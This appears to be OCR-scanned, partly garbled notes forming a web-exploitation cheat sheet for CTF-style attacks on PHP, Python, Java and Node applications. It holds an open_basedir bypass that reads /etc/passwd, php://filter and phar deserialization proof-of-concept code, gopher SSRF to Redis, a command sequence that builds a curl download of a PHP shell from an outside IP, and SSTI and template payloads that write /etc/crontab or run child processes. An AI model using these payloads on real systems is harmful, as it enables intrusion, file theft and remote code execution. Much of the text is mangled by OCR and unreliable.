https://book.hacktricks.xyz/

https://github.com/swisskyrepo/PayloadsAllTheThings

S EES
8 B RAEE ARV .1
dirsearch
GitHack

svn-extractor

SpringBoot-Scan

1.5/

X4 k&

pathinfo() ext_name in_array(strict=false)
move_uploaded_file()
BEE: T XIS php5 phtml phar a.php/. .htaccess .user.ini

https://xz.aliyun.com/t/2657

PHP 3C{HEE

preg_match(, [1) == FALSE  strlen([]) == NULL
is_file($0) => $0->__toString()
file_get_contents() XXE php://filter glob:// phar:// ; BJLAM phar (zip) BsEES 44

require_once()
php://filter/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/...../

file_put_contents(" + evil)

rot13, base64, iconv

allow_url_fopen=True allow_url_include=False

data://text/plain,abvcd

php_filter_chain_generator.py

php_filter_chains_oracle_exploit
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https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

open_basedir &3

mkdir("a");

chdir("a™);

mkdir("b");

chdir("b");

mkdir("c");

chdir("c™);

mkdir("d");

chdir("d™);

chdir("..");

chdir("..");

chdir("..");

chdir("..");
symlink("a/b/c/d","v");
symlink("v/../../../../etc/passwd","exp");
unTink("v'");

mkdir("v");

echo file_get_contents('exp');

mkdir('v');

chdir(C'v');
ini_set('open_basedir','..");
chdir('..");

chdir('..");

chdir('..");
ini_set('open_basedir','/");

echo file_get_contents('/etc/passwd');

PHP SSRF

$content = file_get_contents(FILE)
file_put_contents(FILE, $content)

FTP E%EM (21 Control port, Data port)
SoapClient _ call()

https://drunibaby.top/2023/04/11/PHP-%ES5%8E%9F%E7%94%9F%E7%B1%BB%ES%AD%AE%EA%
BO%AO/#HTTP-%E5%8D %8FHESNAENAENE6%89%93-Redis



https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md
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https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/#HTTP-%E5%8D%8F%E8%AE%AE%E6%89%93-Redis

R EE R/ S HEE

unzip/../ Java ZipFilelterator

symbolic link —Rf#E

PHP SSRF

curl_exec() gopher://IP:PORT/_XXXXXXXXX
CRLFEN (HTTP 3L) => redis

file_get_contents(, $context)

RFFIHE

PHP PoP % JavaTE Python pickle PyYAML .Net

https://xz.aliyun.com/t/7923

PHP AR trick

PHP Apache mod ==> /var/lib/php/sessions/ /tmp/systemd-private-xxxx/tmp
Docker PHP ==>/tmp/ /tmp/sess_SESSNAME /tmp/phpa8X1K

SESSION_UPLOAD_PROGRESS phpinfo();

PHP BFBEF /BT

eval() XOR (hex2bin('0b130b12151d14")A'{{{{{{{")();

escapeshellcmd(escapeshellarg())

strlen($s)<=4 ? system($s)

playload = [

# generate "g> ht- s1" to file "v"
">dir',
">g\>",
'>ht-',
'>s1',
B PSVAN

# reverse file "v" to file "h", content "Is -th >g"
'>rev',
"fv>h',

# generate "curl 59.xx0.x5x.4>p.php"
">\GA\\,

>p,
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">ph\\",
>p.\\',
">\>\\",
">A\\",

'>5x.\\',
'>0.x\\',
">xx\\',
'>59.\\'",
">\ \\',
">r1\\"',
'>cul\\',
'sh h',

'sh g',

Python i»F§

Python f-string eval() exec()

https://xz.aliyun.com/t/12647

ClassLoader

SSTI Checklist

https://pankas.top/2024/02/12/%E6%8E%A2%E7 %B4%A2spring%E4%B8%8Bssti%E9%80%9A%E7%
94%A8%E6%96%BIO%E6%B3%95/

https://tttang.com/archive/1692/

data = """{% set t="galf"|reverse %}{% set f=get_env(name=t,default="123") %}{%
if f is matching('canshu.*') %}aaaaa{% endif %}

{{.}} {{.saveUploadedFile (.FormFile "file") "/etc/crontab"}}

SQL Injection Checklist

https://zulk.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/

https://r0fus0d.blog. ffffffffOx.com/post/postgresql-pentest/

<img/onerror=>
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PHP RRE5Ik trick

PHP unserialize()
ZFFEBER (serialize() fJ§ unserialize())
cve-2016-7124 553 wakeup (fast-destruct, MIEEFR}; , EINFEFIBENEN)

https://www.viewofthai.link/2022/11/08/php%E5%8F%8D%ES5%BA%SF%ES5%88%97 %ES5%8C%I6%E
4%B9%8B%E7%BB%95%E8%BF%87wakeup/

phpggc
phar RFF5IE
EEYES,; LREEHUER TARBR LT, compress.zlib://phar://...

$phar = new Pharbata(dirname(__FILE__) . "/poc.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();

$phar->setMetadata($o);

$phar->addFromstring("foo.txt","bar");

$phar->stopBuffering();

Python pickle RE5{

Riob IMPORT
c3IN _main__

https://xz.aliyun.com/t/11807

Java R IR

ysomap.jar

JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar

Node.js [REMHETH
__proto__ constructor.prototype

<% global.process.mainModule.require('child_process').exec('calc'); %>

https://github.com/aszx87410/blog/issues/139

MySQL LOAD DATA LOCAL INFILE
jdbc:mysql:///?allowUrlinLocallnfile=true

https://forum.butian.net/share/1339
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